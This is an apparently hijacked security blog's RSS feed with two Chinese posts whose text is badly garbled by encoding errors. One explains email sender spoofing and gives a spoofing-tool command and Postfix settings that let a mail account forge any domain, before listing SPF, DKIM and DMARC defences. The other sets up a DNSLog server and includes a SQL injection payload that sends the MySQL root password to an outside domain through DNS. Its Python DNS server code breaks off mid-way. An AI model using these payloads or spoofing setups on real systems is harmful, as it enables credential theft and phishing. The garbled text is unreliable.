河北11选5走势图手机版本 http://www.unaogn.live/ zh-cn www.emlog.net 关于电子邮g诈骗的一些分?/title> <link>http://www.unaogn.live/post-874.html</link> <description><![CDATA[<div class="dy" style="padding:0 30px;"> <p style="font-size:14px;color:#999999;"> DQ一般来_我们收到一邮件之后,都会首先看发件hQ如果是比较重要的邮Ӟ我们可能会去看发件h地址Q但是,如果发g人是伪造的Q你q能知道是谁在给你发邮g么? </p> </div> <p style="text-align:left;"> <strong><span style="font-size:20px;">0x00 q是个啥Q?/span></strong> </p> <p style="text-align:left;"> 一般来_我们收到一电子邮件后Q都会首先看发g人,如果是比较重要的邮gQ我们可能会ȝ一下发件h地址。但是,如果q个邮g的发件h是伪造的Q你q能知道到底是谁在给你发邮g么?  </p> <p style="text-align:left;"> 当我们在h搜烦“发件h伪造”相兛_容的时候,可以看到很多很多的网站提供了实现q种功能的方法与思\Q? </p> <p style="text-align:left;"> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201906/4a471561774013.png" id="ematt:4647"><img src="http://www.unaogn.live/content/uploadfile/201906/thum-4a471561774013.png" title="点击查看原图" alt="1.png" width="420" height="344" border="0" /></a> </p> <p style="text-align:left;"> <p style="text-align:left;"> 因ؓW者ƈ没有对这些网站的内容q行试Q也不知道这些方法能不能成功伪造,但是可以肯定的是Q确实是有方法可以伪造电子邮件的发g人? </p> <p style="text-align:left;"> 那到底是什么导致的发gZ造呢Q下面我们来分析分析造成发gZ造的成因? </p> <p style="text-align:left;"> <strong><span style="font-size:20px;">0x01 SMTP是什么?</span></strong> </p> <p style="text-align:left;"> 要想了解成因Q我们需要首先了解一下什么是SMTP? </p> <p style="text-align:left;"> 首先先了解一下几个概念: </p> <p style="text-align:left;"> <strong>MUA</strong><strong>:</strong>Mail User AgentQ用户邮件代理)Q用户通过MUA接收发送邮Ӟ例如Outlook, FoxMail{? </p> <p style="text-align:left;"> <strong>MTA:</strong>Mail Transfer ProtocolQ邮件传输代理)Q是SMTP的一U实玎ͼMTA仅仅负责邮g的传输。如果信件的目的地ƈ不是本n的用P且该信的相x据符合用MTA的权力,那么MTA׃该信再传送到下一部主Z。这x所谓的转递的功能? </p> <p style="text-align:left;"> <strong>MDA: </strong>Mail Deliver AgentQ邮件分发代理)Q负责将接收到的邮g保存在邮件服务器上,在这里可以设|对邮gq行qo或自动回复? </p> <p style="text-align:left;"> <strong>MRA: </strong>Mail Receive AgentQ邮件接收代理)Q用来实现IMAPQPOP3协议Q负责与MUA交互Q将服务器上的邮仉过IMAP以及POP3传输l客L? </p> <p style="text-align:left;"> <strong>SMTP</strong>全称是Simple Mail Transfer ProtocolQ直译过来就是简单邮件传输协议,主要的工作就是把邮g信息从发件h的邮件服务器中传送到接收人的邮g服务器中Q偶我们用MUA来发送邮件的话,也承载传输用户邮件到发g服务器的功能。但是SMTP存在一个问题,是<strong>没有对发送方q行一个n份验?/strong>。用下面的图来说明一下邮件的投递过E? </p> </p> <p> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201906/fb5c1561774103.png" id="ematt:4649"><img src="http://www.unaogn.live/content/uploadfile/201906/thum-fb5c1561774103.png" title="点击查看原图" alt="2.png" width="420" height="277" border="0" /></a> </p> <p> <p> <span>1、用户利用MUA寄信到MTAQ这里面包含了几个项Q?nbsp;</span> </p> <p style="text-align:left;"> <strong>发信Z发信|站</strong>Q例?nbsp;admin@evi1cg.me。其中evi1cg.me是发信|站Q即收信件的MTA?nbsp; </p> <p style="text-align:left;"> <strong>收信Z收信|站</strong>Q例?admin@email.serverQ其中admin是email.server里的一个̎受?nbsp; </p> <p style="text-align:left;"> 2、当MTA收到信g后,会通过DNS的M<span class="kl_auto_internal_links_tag"><a href="http://www.unaogn.live/tag/X" title="查看标签?X 的文? target="_blank">X</a></span>记录q行查询Q如果email.server是MTA自己Q此时MTA׃把邮件交lMDA处理Q放|到收信者的信箱中?nbsp; </p> <p style="text-align:left;"> 3、如果email.server不是自己Q那么这个信件就会被转送出厅R? </p> <p style="text-align:left;"> 4、当q程MTA收到本地MTA转发的邮件后Q会信件交l它的MDA处理Q等待用Ld或下载? </p> <p style="text-align:left;"> 正是׃MTA之间转发邮g是不需要认证的Q所以这成了可以伪造发件h的原因? </p> <p style="text-align:left;"> <strong><span style="font-size:20px;">0x02 怎么搭徏SMTP ServerQ?/span></strong> </p> <p style="text-align:left;"> 如何快速搭qSMTP ServerQ这个网上有很多教程Q这里ؓ了快速搭建,可以选择使用ewomailQ代码是开源的,搭徏h也比较方便,也有很好的说明文档。EwoMail是基于postfix和DovecotQ按照说明文档很快就可以部v完毕了,部v完毕以后需要添加用戯̎P </p> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201906/10fb1561774147.png" id="ematt:4651"><img src="http://www.unaogn.live/content/uploadfile/201906/thum-10fb1561774147.png" title="点击查看原图" alt="3.png" width="420" height="144" border="0" /></a> </p> <p> <p style="text-align:left;"> 之后可以通过d的̎h发送邮件了? </p> <p style="text-align:left;"> <strong><span style="font-size:20px;">0x03 如何伪造域名?</span></strong> </p> <p style="text-align:left;"> 关于伪造域名有一个很好用的工?a href="https://github.com/lunarca/SimpleEmailSpoofer" target="_blank">SimpleEmailSpoofer</a>Q下面我们就使用q个工具来测试一下: </p> <pre class="brush:html;toolbar:false;"><span class="kl_auto_internal_links_tag"><a href="http://www.unaogn.live/tag/python" title="查看标签?python 的文? target="_blank">python</a></span> SimpleEmailSpoofer.py -t 目标邮箱 -f 要伪造的发g人地址 -n From_name -e 邮g内容 -j 邮g主题 -s 你自qsmtp地址 -p 25 --user 你添加的用户 --pass 你添加用L密码</pre> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201906/09dd1561774201.png" id="ematt:4653"><img src="http://www.unaogn.live/content/uploadfile/201906/thum-09dd1561774201.png" title="点击查看原图" alt="4.png" width="420" height="61" border="0" /></a> </p> <p> 在这里可以看到报错了QSender address rejected: not owned <span class="kl_auto_internal_links_tag"><a href="http://www.unaogn.live/tag/by" title="查看标签?by 的文? target="_blank">by</a></span> user xxx, q里是postfix讄的问题。需要进行一下修?etc/postfix/main.cf 扑ֈsmtpd_sender_login_mapsQ修改ؓQ? <pre class="brush:html;toolbar:false;">smtpd_sender_login_maps = <span class="kl_auto_internal_links_tag"><a href="http://www.unaogn.live/tag/mysql" title="查看标签?mysql 的文? target="_blank">mysql</a></span>:/etc/postfix/<span class="kl_auto_internal_links_tag"><a href="http://www.unaogn.live/tag/mysql" title="查看标签?mysql 的文? target="_blank">mysql</a></span>/<span class="kl_auto_internal_links_tag"><a href="http://www.unaogn.live/tag/mysql" title="查看标签?mysql 的文? target="_blank">mysql</a></span>-sender-login-maps.cf,pcre:/etc/postfix/login_maps.pcre</pre> <p style="text-align:left;"> 新徏/etc/postfix/login_maps.pcre </p> <pre class="brush:html;toolbar:false;">/^(.*)$/ test@yourdomain.com</pre> <p style="text-align:left;"> <strong>?/strong>Q意思是允许用户test@yourdomain.com的用户用Q意domain? </p> <p style="text-align:left;"> 扑ֈsmtpd_recipient_restrictionsQ删除reject_unknown_sender_domainQ这样就不会对发送的域进行验证了? </p> <p style="text-align:left;"> 修改完成以后Q执行以下命令: </p> <pre class="brush:html;toolbar:false;">postmap /etc/postfix/login_maps.pcre postfix reload</pre> <p style="text-align:left;"> 修改完成以后Q再ơ发送: </p> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201906/82661561774243.png" id="ematt:4655"><img src="http://www.unaogn.live/content/uploadfile/201906/thum-82661561774243.png" title="点击查看原图" alt="5.png" width="420" height="97" border="0" /></a> </p> <p> 查看gmail: <br /> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201906/f19c1561774266.png" id="ematt:4657"><img src="http://www.unaogn.live/content/uploadfile/201906/thum-f19c1561774266.png" title="点击查看原图" alt="6.png" width="420" height="189" border="0" /></a> </p> <p> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201906/9eb91561774290.png" id="ematt:4659"><img src="http://www.unaogn.live/content/uploadfile/201906/thum-9eb91561774290.png" title="点击查看原图" alt="7.png" width="420" height="219" border="0" /></a> </p> <p> Ӟ在原始邮仉面,q是有自q域名信息。至于如何尽量减自q信息Q可以参考这?a href="https://major.io/2013/04/14/remove-sensitive-information-from-email-headers-with-postfix/" target="_blank">文章</a>? <p style="text-align:left;"> l过试Q如果收信服务器对SPF校验不通过的邮件未作处理,仍然可以伪造添加过SPF记录的域。如QQ邮箱查SPFp|q接拒l接攉Ӟ但是Gmail仍然接收。这里要注意一点,SPF中如果配|ؓ~allQ则表示为接受来信,但是做标讎ͼQQ邮箱里就会接收到此类伪造的邮gQ不q会攄于垃N仉? </p> <p style="text-align:left;"> <strong><span style="font-size:20px;">0x04 如何?</span></strong> </p> <p style="text-align:left;"> q里有一个工具可以用来检域名是否可以被伪?spoofcheckQ用很单,比如baidu: </p> </p> <p> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201906/602e1561774339.png" id="ematt:4661"><img src="http://www.unaogn.live/content/uploadfile/201906/thum-602e1561774339.png" title="点击查看原图" alt="8.png" width="420" height="78" border="0" /></a> </p> <p> <p style="text-align:left;"> <strong><span style="font-size:20px;">0x05 如何解决Q?/span></strong> </p> <p style="text-align:left;"> Z使得域名不会被伪造,需要ؓ域名正确配置SPF、DKIM、DMARC。只配置SPF是不行的Q关于SPF的配|可以参?a href="http://blog.51cto.com/10602188/1882947" target="_blank">q里</a>Q关于DKIM的配|可以看<a href="https://www.zoho.com.cn/mail/help/adminconsole/dkim-configuration.html" target="_blank">q里</a>Q关于DMARC的配|可以参?a href="https://support.google.com/a/answer/2466563?hl=zh-Hans" target="_blank">q里</a>? </p> <p style="text-align:left;"> <strong><span style="font-size:20px;">0x06 参?/span></strong> </p> <p style="text-align:left;"> 1?a href="https://www.jianshu.com/p/610d9bf0ae8b" target="_blank">https://www.jianshu.com/p/610d9bf0ae8b</a>  </p> <p style="text-align:left;"> 2?a href="http://lomu.me/post/SPF-DKIM-DMARC-PTR" target="_blank">http://lomu.me/post/SPF-DKIM-DMARC-PTR</a>  </p> <p style="text-align:left;"> 3?a href="https://serverfault.com/questions/318334/how-to-enforce-sender-address-to-be-logged-in-userexample-org-in-postfix" target="_blank">https://serverfault.com/questions/318334/how-to-enforce-sender-address-to-be-logged-in-userexample-org-in-postfix</a>  </p> <p style="text-align:left;"> 4?a href="https://major.io/2013/04/14/remove-sensitive-information-from-email-headers-with-postfix/" target="_blank">https://major.io/2013/04/14/remove-sensitive-information-from-email-headers-with-postfix/</a>  </p> <p style="text-align:left;"> 5?a href="https://realtechtalk.com/Postfix_how_to_secure_outgoing_authenticated_emails_for_privacy_and_hide_the_IP_address_mailer_and_other_things-1573-articles" target="_blank">https://realtechtalk.com/Postfix_how_to_secure_outgoing_authenticated_emails_for_privacy_and_hide_the_IP_address_mailer_and_other_things-1573-articles</a> </p> </p>]]></description> <pubDate>Sat, 29 Jun 2019 02:06:01 +0000</pubDate> <author>mOon</author> <guid>http://www.unaogn.live/post-874.html</guid> </item> <item> <title>如何低成本搭建dnslog服务?/title> <link>http://www.unaogn.live/post-872.html</link> <description><![CDATA[<p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> DNSLogQ简单来_是通过记录对于域名的DNShQ通过dnshq个相对“隐蔽”的渠道Q来委婉地获取到惌获得的信息?br /> 例如Q在一个针对mysql数据库的注入中,如果没有回显Q可能很多时候就要歇菜?br /> 但如果对方的数据库服务器q接公网q且是Windows机器的话Q就可以用这U姿势来获取信息Q? </p> <pre class="bash">SELECT LOAD_FILE(CONCAT(<span class="hljs-string" style="color:#A31515;">'\\\\'</span>,(SELECT password FROM user WHERE user=<span class="hljs-string" style="color:#A31515;">'<span class="kl_auto_internal_links_tag"><a href="http://www.unaogn.live/tag/root" title="查看标签?root 的文? target="_blank">root</a></span>'</span> LIMIT 1),<span class="hljs-string" style="color:#A31515;">'.nogan.ga\\xxx'</span>))</pre> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> 你将会看到类| </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201905/4a471558159545.png" id="ematt:4625"><img src="http://www.unaogn.live/content/uploadfile/201905/4a471558159545.png" title="点击查看原图" alt="1.png" width="1531" height="339" border="0" /></a> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <br /> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> 当然你可能会说直接用<span class="kl_auto_internal_links_tag"><a href="http://www.unaogn.live/tag/http协议" title="查看标签?http协议 的文? target="_blank">http协议</a></span>传输不就好了吗,实http协议也可以,但是http协议毕竟有局限的地方Q例如容易被防火墙限制等?br /> 而dns作ؓ一U基协议有时候ƈ不会被随便禁用,一些内|当中对于DNS协议的管控和是个薄q点,相对http来说DNS协议也更加隐蔽? </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> q几qDNSLog被尤其广泛地q用于无回显的SQL<span class="kl_auto_internal_links_tag"><a href="http://www.unaogn.live/tag/注入" title="查看标签?注入 的文? target="_blank">注入</a></span>、命令执行、XML实体<span class="kl_auto_internal_links_tag"><a href="http://www.unaogn.live/tag/注入" title="查看标签?注入 的文? target="_blank">注入</a></span>{漏z的当中,是一门很基础的老技术了? </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> 关于DNSLog的具体应用,q里׃多说了,感兴的可以q一步阅M下文章: </p> <pre><span class="hljs-attribute" style="color:#A31515;"><span class="kl_auto_internal_links_tag"><a href="http://www.unaogn.live/tag/https" title="查看标签?https 的文? target="_blank">https</a></span></span>:<span class="hljs-comment" style="color:green;">//www.anquanke.com/post/id/98096</span> <span class="hljs-attribute" style="color:#A31515;">http</span>:<span class="hljs-comment" style="color:green;">//www.freebuf.com/column/158579.html</span> <span class="hljs-attribute" style="color:#A31515;">https</span>:<span class="hljs-comment" style="color:green;">//www.cnblogs.com/afanti/p/8047530.html</span></pre> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> 那么如何低成本搭建dnslog服务器?接下来就来简要分享一个低成本构徏DNSLog服务的方法? </p> <h3 id="准备材料" style="font-size:16px;font-weight:bold;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-style:normal;text-align:left;text-indent:0px;background-color:#FFFFFF;"> 准备材料Q? </h3> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> (1) 一C成本的VPSQ这里推荐用某国外的便宜VPSQ完整root权限Q单?12MB/10GSSDQE128/q_购买链接在文章最? </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> (2) 一个可以接攉件的邮箱Q用来注册免费域? </p> <h3 id="搭徏q程" style="font-size:16px;font-weight:bold;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-style:normal;text-align:left;text-indent:0px;background-color:#FFFFFF;"> 搭徏q程 </h3> <h4 id="注册域名" style="font-size:14px;font-weight:bold;color:#333333;font-family:Verdana, Arial, Helvetica, sans-serif;font-style:normal;text-align:left;text-indent:0px;background-color:#FFFFFF;"> 注册域名 </h4> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> 首先?https://freenom.com 注册用户Q同时注册一个免费的域名<br /> 以我q里ZQ注册一个nogan.ga </p> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201905/15601558159576.jpg" id="ematt:4627"><img src="http://www.unaogn.live/content/uploadfile/201905/15601558159576.jpg" title="点击查看原图" alt="2.jpg" width="1839" height="970" border="0" /></a> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <br /> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <span style="color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;background-color:#FFFFFF;">注册的时候,在DNS选项中,选择使用自己的DNSQ新建DNS服务器的地址Q例如我q里自定义了两个dns服务器,分别?/span><br /> <span style="color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;background-color:#FFFFFF;">ns0.nogan.ga和ns1.nogan.gaQƈ且将他们的地址指向我的VPS服务器?/span> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201905/799b1558159605.jpg" id="ematt:4629"><img src="http://www.unaogn.live/content/uploadfile/201905/799b1558159605.jpg" title="点击查看原图" alt="3.jpg" width="1839" height="891" border="0" /></a> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <span style="color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;background-color:#FFFFFF;">点击ContinueQ进入到l算面?/span><br /> <span style="color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;background-color:#FFFFFF;">如果你上一步没有注册用P那么可以直接在这里填你用来注册用L邮箱Q然后根据指引进行操作?/span><br /> <span style="color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;background-color:#FFFFFF;">如果注册了用P只需要直接登录就可以了?/span> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201905/09dd1558159633.png" id="ematt:4631"><img src="http://www.unaogn.live/content/uploadfile/201905/09dd1558159633.png" title="点击查看原图" alt="4.png" width="1851" height="900" border="0" /></a> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <span style="color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;background-color:#FFFFFF;">q入到Review and Checkout面Q填入一些你的基本信息就可以?/span> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201905/82661558159665.png" id="ematt:4633"><img src="http://www.unaogn.live/content/uploadfile/201905/82661558159665.png" title="点击查看原图" alt="5.png" width="1840" height="687" border="0" /></a> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <span style="color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;background-color:#FFFFFF;">q里记得NLock profileQ你的信息就不会被whois查询C?/span> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201905/f19c1558159696.png" id="ematt:4635"><img src="http://www.unaogn.live/content/uploadfile/201905/f19c1558159696.png" title="点击查看原图" alt="6.png" width="1144" height="705" border="0" /></a> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <span style="color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;background-color:#FFFFFF;">接着下一步,NComplate OrderQ域名就注册成功了?/span> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <a target="_blank" href="http://www.unaogn.live/content/uploadfile/201905/d26d1558159724.png" id="ematt:4637"><img src="http://www.unaogn.live/content/uploadfile/201905/d26d1558159724.png" title="点击查看原图" alt="7png.png" width="780" height="139" border="0" /></a> </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> <h4 id="部vdns服务" style="font-size:14px;font-weight:bold;color:#333333;font-family:Verdana, Arial, Helvetica, sans-serif;font-style:normal;text-align:left;text-indent:0px;background-color:#FFFFFF;"> 部vDNS服务 </h4> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> d你的VPS服务器,q行下面q个python脚本Q将在你的VPSL监听UDP 53端口Qƈ且回复DNS响应包: </p> <p style="text-indent:0px;color:#000000;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:12px;font-style:normal;font-weight:400;text-align:left;background-color:#FFFFFF;"> 记得修改IP地址和NS域名Q在最后? </p> <pre class="python"><span class="hljs-comment" style="color:green;">#!/usr/bin/env <span class="kl_auto_internal_links_tag"><a href="http://www.unaogn.live/tag/python" title="查看标签?python 的文? target="_blank">python</a></span></span> <span class="hljs-comment" style="color:green;"># -*- coding: utf-8 -*-</span> <span class="hljs-comment" style="color:green;"># @Date : 2014-06-29 03:01:25</span> <span class="hljs-comment" style="color:green;"># @Author : Your Name (you@example.org)</span> <span class="hljs-comment" style="color:green;"># @Link : http://example.org</span> <span class="hljs-comment" style="color:green;"># @Version : $Id$</span> <span class="hljs-keyword" style="color:#0000FF;">import</span> SocketServer <span class="hljs-keyword" style="color:#0000FF;">import</span> struct <span class="hljs-keyword" style="color:#0000FF;">import</span> socket <span class="hljs-keyword" style="color:#0000FF;">as</span> socketlib <span class="hljs-comment" style="color:green;"># DNS Query</span> <span class="hljs-class"><span class="hljs-keyword" style="color:#0000FF;">class</span> <span class="hljs-title" style="color:#A31515;">SinDNSQuery</span>:</span> <span class="hljs-function"><span class="hljs-keyword" style="color:#0000FF;">def</span> <span class="hljs-title" style="color:#A31515;">__init__</span><span class="hljs-params">(self, data)</span>:</span> i = <span class="hljs-number">1</span> self.name = <span class="hljs-string" style="color:#A31515;">''</span> <span class="hljs-keyword" style="color:#0000FF;">while</span> <span class="hljs-keyword" style="color:#0000FF;">True</span>: d = ord(data[i]) <span class="hljs-keyword" style="color:#0000FF;">if</span> d == <span class="hljs-number">0</span>: <span class="hljs-keyword" style="color:#0000FF;">break</span>; <span class="hljs-keyword" style="color:#0000FF;">if</span> d < <span class="hljs-number">32</span>: self.name = self.name + <span class="hljs-string" style="color:#A31515;">'.'</span> <span class="hljs-keyword" style="color:#0000FF;">else</span>: self.name = self.name + chr(d) i = i + <span class="hljs-number">1</span> self.querybytes = data[<span class="hljs-number">0</span>:i + <span class="hljs-number">1</span>] (self.type, self.classify) = struct.unpack(<span class="hljs-string" style="color:#A31515;">'>HH'</span>, data[i + <span class="hljs-number">1</span>:i + <span class="hljs-number">5</span>]) self.len = i + <span class="hljs-number">5</span> <span class="hljs-function"><span class="hljs-keyword" style="color:#0000FF;">def</span> <span class="hljs-title" style="color:#A31515;">getbytes</span><span class="hljs-params">(self)</span>:</span> <span class="hljs-keyword" style="color:#0000FF;">return</span> self.querybytes + struct.pack(<span class="hljs-string" style="color:#A31515;">'>HH'</span>, self.type, self.classify) <span class="hljs-comment" style="color:green;"># DNS Answer RRS</span> <span class="hljs-comment" style="color:green;"># this class is also can be use as Authority RRS or Additional RRS </span> <span class="hljs-class"><span class="hljs-keyword" style="color:#0000FF;">class</span> <span class="hljs-title" style="color:#A31515;">SinDNSAnswer</span>:</span> <span class="hljs-function"><span class="hljs-keyword" style="color:#0000FF;">def</span> <span class="hljs-title" style="color:#A31515;">__init__</span><span class="hljs-params">(self, ip)</span>:</span> self.name = <span class="hljs-number">49164</span> self.type = <span class="hljs-number">1</span> self.classify = <span class="hljs-number">1</span> self.timetolive = <span class="hljs-number">190</span> self.datalength = <span class="hljs-number">4</span> self.ip = ip <span class="hljs-function"><span class="hljs-keyword" style="color:#0000FF;">def</span> <span class="hljs-title" style="color:#A31515;">getbytes</span><span class="hljs-params">(self)</span>:</span> res = struct.pack(<span class="hljs-string" style="color:#A31515;">'>HHHLH'</span>, self.name, self.type, self.classify, self.timetolive, self.datalength) s = self.ip.split(<span class="hljs-string" style="color:#A31515;">'.'</span>) res = res + struct.pack(<span class="hljs-string" style="color:#A31515;">'BBBB'</span>, int(s[<span class="hljs-number">0</span>]), int(s[<span class="hljs-number">1</span>]), int(s[<span class="hljs-number">2</span>]), int(s[<span class="hljs-number">3</span>])) <span class="hljs-keyword" style="color:#0000FF;">return</span> res <span class="hljs-comment" style="color:green;"># DNS frame</span> <span class="hljs-comment" style="color:green;"># must initialized by a DNS query frame</span> <span class="hljs-class"><span class="hljs-keyword" style="color:#0000FF;">class</span> <span class="hljs-title" style="color:#A31515;">SinDNSFrame</span>:</span> <span class="hljs-function"><span class="hljs-keyword" style="color:#0000FF;">def</span> <span class="hljs-title" style="color:#A31515;">__init__</span><span class="hljs-params">(self, data)</span>:</span> (self.id, self.flags, self.quests, self.answers, self.author, self.addition) = struct.unpack(<span class="hljs-string" style="color:#A31515;">'>HHHHHH'</span>, data[<span class="hljs-number">0</span>:<span class="hljs-number">12</span>]) self.query = SinDNSQuery(data[<span class="hljs-number">12</span>:]) <span class="hljs-function"><span class="hljs-keyword" style="color:#0000FF;">def</span> <span class="hljs-title" style="color:#A31515;">getname</span><span class="hljs-params">(self)</span>:</span> <span class="hljs-keyword" style="color:#0000FF;">return</span> self.query.name <span class="hljs-function"><span class="hljs-keyword" style="color:#0000FF;">def</span> <span class="hljs-title" style="color:#A31515;">setip</span><span class="hljs-params">(self, ip)</span>:</span> self.answer = SinDNSAnswer(ip) self.answers = <span class="hljs-number">1</span> self.flags = <span class="hljs-number">33152</span> <span class="hljs-function"><span class="hljs-keyword" style="color:#0000FF;">def</span> <span class="hljs-title" style="color:#A31515;">getbytes</span><span class="hljs-params">(self)</span>:</span> res = struct.pack(<span class="hljs-string" style="color:#A31515;">'>HHHHHH'</span>, self.id, self.flags, self.quests, self.answers, self.author, self.addition) res = res + self.query.getbytes() <span class="hljs-keyword" style="color:#0000FF;">if</span> self.answers != <span class="hljs-number">0</span>: res = res + self.answer.getbytes() <span class="hljs-keyword" style="color:#0000FF;">return</span> res <span class="hljs-comment" style="color:green;"># A UDPHandler to handle DNS query</span> <span class="hljs-class"><span class="hljs-keyword" style="color:#0000FF;">class</span> <span class="hljs-title" style="color:#A31515;">SinDNSUDPHandler</span><span class="hljs-params">(SocketServer.BaseRequestHandler)</span>:</span> <span class="hljs-function"><span class="hljs-keyword" style="color:#0000FF;">def</span> <span class="hljs-title" style="color:#A31515;">handle</span><span class="hljs-params">(self)</span>:</span> data = self.request[<span class="hljs-number">0</span>].strip() dns = SinDNSFrame(data) socket = self.request[<span class="hljs-number">1</span>] namemap = SinDNSServer.namemap <span class="hljs-keyword" style="color:#0000FF;">if</span>(dns.query.type==<span class="hljs-number">1</span>): <span class="hljs-comment" style="color:green;"># If this is query a A record, then response it</span> name = dns.getname(); toip = <span class="hljs-keyword" style="color:#0000FF;">None</span> ifrom = <span class="hljs-string" style="color:#A31515;">"map"</span> <span class="hljs-keyword" style="color:#0000FF;">if</span> namemap.__contains__(name): <span class="hljs-comment" style="color:green;"># If have record, response it</span> <span class="hljs-comment" style="color:green;"># dns.setip(namemap[name])</span> <span class="hljs-comment" style="color:green;"># socket.sendto(dns.getbytes(), self.client_address)</span> toip = namemap[name] <span class="hljs-keyword" style="color:#0000FF;">elif</span> namemap.__contains__(<span class="hljs-string" style="color:#A31515;">'*'</span>): <span class="hljs-comment" style="color:green;"># Response default address</span> <span class="hljs-comment" style="color:green;"># dns.setip(namemap['*'])</span> <span class="hljs-comment" style="color:green;"># socket.sendto(dns.getbytes(), self.client_address)</span> toip = namemap[<span class="hljs-string" style="color:#A31515;">'*'</span>] <span class="hljs-keyword" style="color:#0000FF;">else</span>: <span class="hljs-comment" style="color:green;"># ignore it</span> <span class="hljs-comment" style="color:green;"># socket.sendto(data, self.client_address)</span> <span class="hljs-comment" style="color:green;"># socket.getaddrinfo(name,0)</span> <span class="hljs-keyword" 